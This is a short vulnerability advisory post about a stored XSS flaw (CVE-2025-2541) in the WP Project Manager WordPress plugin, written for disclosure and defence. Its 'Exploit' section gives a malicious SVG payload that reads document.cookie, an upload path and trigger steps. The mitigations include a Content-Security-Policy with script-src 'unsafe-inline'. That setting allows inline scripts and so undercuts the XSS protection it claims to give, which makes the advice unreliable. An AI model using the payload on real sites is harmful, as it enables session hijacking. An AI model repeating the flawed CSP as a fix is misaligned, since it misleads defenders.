WordPress WP Project Manager, Stored XSS, CVE-2025-2541 (Critical)

The WP Project Manager plugin (≤ v2.6.22) fails to sanitize SVG file uploads, allowing authenticated attackers (Author+) to inject malicious scripts. When uploaded, the SVG’s embedded JavaScript executes upon victim access, enabling session hijacking, defacement, or malware delivery. The flaw stems from improper validation of the `file_upload` handler, which trusts SVG content-type headers without parsing the actual markup.

DailyCVE Form:

Platform: WordPress
Version: ≤ 2.6.22
Vulnerability: Stored XSS
Severity: Critical
Date: 05/06/2025

What Undercode Say:

Exploit:

1. Craft malicious SVG:


<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>

2. Upload via `/wp-admin/admin.php?page=project-manager-file-upload`.

3. Trigger payload when admin views the file.

Protection:

1. Patch to v2.6.23+.

2. Add `.htaccess` rule to disable SVG execution:

<FilesMatch "\.svg$">
ForceType text/plain
</FilesMatch>

3. WordPress filter:

add_filter('upload_mimes', function($mimes) {
unset($mimes['svg']);
return $mimes;
});

Detection:

Scan for suspicious SVG uploads:

grep -r "onload=" /var/www/html/wp-content/uploads/

Mitigation:

  • Restrict file uploads to Editors+.
  • Implement CSP headers:
    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
    

References:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top